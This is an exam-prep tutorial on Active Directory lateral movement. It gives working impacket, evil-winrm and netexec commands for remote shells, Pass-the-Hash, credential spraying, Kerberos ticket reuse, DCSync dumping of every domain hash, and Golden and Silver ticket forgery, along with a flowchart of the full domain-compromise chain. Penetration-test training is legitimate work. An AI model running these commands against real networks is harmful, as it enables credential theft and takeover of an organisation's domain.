Skip to content

Active Directory — lateral movement & domain compromise

← Back to index

Lateral movement is the part people under-practise and then lose the AD set on. The concept: once you hold a credential (plaintext, NT hash, or Kerberos ticket), AD lets you authenticate to other machines with it — and the key insight is that you rarely need the plaintext password. The hash or ticket is the credential. Internalise that and the whole toolkit below makes sense. (Reaching internal AD hosts often needs a pivot — the DC may not be directly routable.)

Get a shell on a host — pick the tool for what you hold

evil-winrm -i $IP -u $USER -p $PASS                 # WinRM (cleanest, if the user's allowed)
impacket-psexec $DOMAIN/$USER:$PASS@$IP             # SYSTEM, but noisy (drops a service)
impacket-wmiexec $DOMAIN/$USER:$PASS@$IP            # quieter, semi-interactive
netexec smb $IP -u $USER -p $PASS -x "whoami"       # one-off command / validate across many hosts
How to choose: evil-winrm for a stable interactive shell when the user is in Remote Management Users; wmiexec when you want quiet; psexec when you need SYSTEM and don't mind noise. netexec with a password across a host list is how you find where a credential is admin.

Pass-the-Hash — the NT hash is the password

Why it works: NTLM authentication proves you know the hash, not the plaintext — so the hash alone authenticates you. Dumped an NT hash from one box? Use it directly, no cracking needed.

netexec smb $IP -u $USER -H $NTHASH
impacket-psexec -hashes :$NTHASH $DOMAIN/$USER@$IP
evil-winrm -i $IP -u $USER -H $NTHASH
xfreerdp /u:$USER /pth:$NTHASH /v:$IP
The reuse move: after dumping hashes on one host, spray every NT hash across every other host (netexec smb targets.txt -u $USER -H $NTHASH). Local admin password reuse across machines is the classic AD lateral path.

Over-Pass-the-Hash / Pass-the-Ticket — Kerberos version

Why it works: Kerberos uses tickets, not passwords. From an NT hash you can request a TGT, then present that ticket to services — useful when NTLM is disabled or you want to look like normal Kerberos traffic.

impacket-getTGT $DOMAIN/$USER -hashes :$NTHASH
export KRB5CCNAME=$USER.ccache
impacket-psexec -k -no-pass $DOMAIN/$USER@dc01.$DOMAIN

Clock skew kills Kerberos. KRB_AP_ERR_SKEW means your time differs from the DC — sync it: sudo ntpdate $DC (or rdate -n $DC). This trips up almost everyone the first time.

DCSync — impersonate a DC to dump every hash

Why it works: Domain Controllers replicate password data between themselves using a protocol (DRSUAPI). If your account has replication rights (Domain Admins do, and sometimes a misconfigured user via a WriteDACL edge), you can ask the DC to send you the password hashes — as if you were another DC.

impacket-secretsdump $DOMAIN/$USER:$PASS@$DC                 # full NTDS (every domain hash)
impacket-secretsdump -hashes :$NTHASH $DOMAIN/$USER@$DC
impacket-secretsdump $DOMAIN/$USER:$PASS@$DC -just-dc-user Administrator   # just one
Why it's the endgame: this dumps the krbtgt hash and every user's hash. Game over for the domain — and krbtgt enables a Golden Ticket.

Golden / Silver tickets — forge your own Kerberos tickets

Why it works: the krbtgt hash is the key the whole domain uses to sign TGTs. Hold it, and you can forge a TGT for any user (including a Domain Admin) — a Golden Ticket. A Silver Ticket uses a service account's hash to forge a ticket for one service on one host.

# Golden (needs krbtgt hash + domain SID):
impacket-ticketer -nthash $KRBTGT_HASH -domain-sid $SID -domain $DOMAIN Administrator
export KRB5CCNAME=Administrator.ccache ; impacket-psexec -k -no-pass $DOMAIN/Administrator@dc01.$DOMAIN
# Silver (service account hash, forge a TGS for one SPN):
impacket-ticketer -nthash $SVC_HASH -domain-sid $SID -domain $DOMAIN -spn cifs/host.$DOMAIN Administrator
On the exam, Golden Tickets are more about persistence/completeness; a DCSync usually already gives you Administrator's hash to PtH with.

The full chain (how the 10/10/20 points come)

flowchart TD
  A["foothold host (10 pts)"] --> B["local privesc -> SYSTEM"]
  B --> C["secretsdump / mimikatz -> local + cached domain creds"]
  C --> D["spray creds/hashes across AD hosts"]
  D --> E{"admin on another host?"}
  E -->|yes| F["wmiexec/evil-winrm -> that host (next 10 pts)"]
  F --> C
  E -->|reached DC / DCSync rights| G["DCSync -> krbtgt + Administrator"]
  G --> H["domain compromised -> proof.txt on DC (final 20 pts)"]

Exam discipline

  • Grab local.txt/proof.txt on every AD host as you pass through — points are 10/10/20 along the chain, not all-or-nothing at the DC.
  • Keep a creds table: user → NT hash → where it's admin. After every dump, re-spray — that's how the chain advances.
  • Prefer manual impacket/evil-winrm over Metasploit here — your one MSF use can't carry three chained hosts, and PtH/tickets are the intended mechanism.
  • Sync your clock to the DC before any ticket attack.